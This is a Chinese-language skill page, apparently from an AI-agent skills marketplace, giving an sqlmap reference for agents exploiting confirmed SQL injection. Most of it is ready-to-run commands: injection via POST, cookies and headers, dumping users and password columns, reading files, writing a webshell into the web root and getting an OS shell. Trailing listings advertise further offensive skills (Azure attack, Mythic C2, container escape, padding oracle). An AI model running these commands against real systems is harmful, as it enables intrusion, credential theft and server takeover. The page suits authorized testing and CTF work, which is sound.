skills/tool/sqlmap-advanced/SKILL.md
sqlmap 高级用法完整参考。当确认存在 SQL 注入需要用 sqlmap 自动化利用时使用。覆盖 POST/Cookie/Header 注入、tamper 脚本选择、--technique 精确控制、二次注入、OS shell/文件读写、数据库提取优化
npx skillsauth add wgpsec/AboutSecurity sqlmap-advancedInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
sqlmap 可能运行很长时间。必须用 timeout 包裹:
timeout 480 sqlmap [参数] --batch 2>&1 | tee /tmp/sqlmap_output.log
# 超时后立即查看已有结果
tail -80 /tmp/sqlmap_output.log
timeout 480 sqlmap -u 'http://target/page.php?id=1' \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
timeout 480 sqlmap -u 'http://target/login.php' \
--data 'username=admin&password=test&submit=Login' \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
关键:--data 中包含所有表单字段(尤其 submit 按钮),PHP 常用 isset($_POST['submit']) 校验。
timeout 480 sqlmap -u 'http://target/page.php' \
--cookie 'user_id=1; session=abc123' \
--level 3 \
--batch --random-agent \
2>&1 | tee /tmp/sqlmap_output.log
timeout 480 sqlmap -u 'http://target/page.php' \
--headers 'X-Forwarded-For: 127.0.0.1*' \
--level 5 \
--batch --random-agent \
2>&1 | tee /tmp/sqlmap_output.log
星号 * 标记注入点位置。
timeout 480 sqlmap -r /tmp/request.txt \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
| 字母 | 技术 | 适用场景 | |------|------|----------| | B | Boolean-based blind | 有布尔差异(页面内容变化) | | E | Error-based | 有报错回显 | | U | UNION query | 有数据回显 | | S | Stacked queries | 支持分号(MySQL、MSSQL、PostgreSQL) | | T | Time-based blind | 无任何差异(最后手段) | | Q | Inline queries | 子查询注入 |
# 只用 UNION + Error(最快)
sqlmap -u 'URL' --technique EU --batch
# 跳过耗时的时间盲注
sqlmap -u 'URL' --technique BEUS --batch
建议:先用 --technique EU 快速检测,失败再加 B,最后才试 T。
# 1. 列出所有数据库
sqlmap -u 'URL' --dbs --batch
# 2. 列出指定库的表
sqlmap -u 'URL' -D target_db --tables --batch
# 3. 列出指定表的列
sqlmap -u 'URL' -D target_db -T users --columns --batch
# 4. 提取数据
sqlmap -u 'URL' -D target_db -T users --dump --batch
# 5. 只取特定列
sqlmap -u 'URL' -D target_db -T users -C username,password --dump --batch
# 6. 限制行数(大表时)
sqlmap -u 'URL' -D target_db -T users --dump --start 1 --stop 10 --batch
# 7. 搜索关键表/列
sqlmap -u 'URL' --search -T flag --batch
sqlmap -u 'URL' --search -C password --batch
| 场景 | 命令关键参数 |
|------|-------------|
| 快速检测 | --technique EU --level 1 --risk 1 |
| 深度检测 | --level 5 --risk 3 |
| POST 表单 | --data 'param1=val1¶m2=val2' |
| Cookie 注入 | --cookie 'x=1' --level 3 |
| WAF 环境 | --tamper=space2comment,between --random-agent |
| 读 flag 文件 | --file-read=/flag.txt |
| 写 webshell | --file-write=shell.php --file-dest=/var/www/html/ |
| 拿系统 shell | --os-shell |
| 二次注入 | --second-url URL |
| 搜索 flag | --search -T flag 或 --search -C flag |
--batch 自动选择默认答案(必加,agent 无法交互)--risk 3 可能执行 UPDATE/DELETE,有风险环境慎用timeout 480 最多跑 8 分钟,超时检查已有结果--flush-session 清除缓存--prefix 和 --suffix 手动指定闭合testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能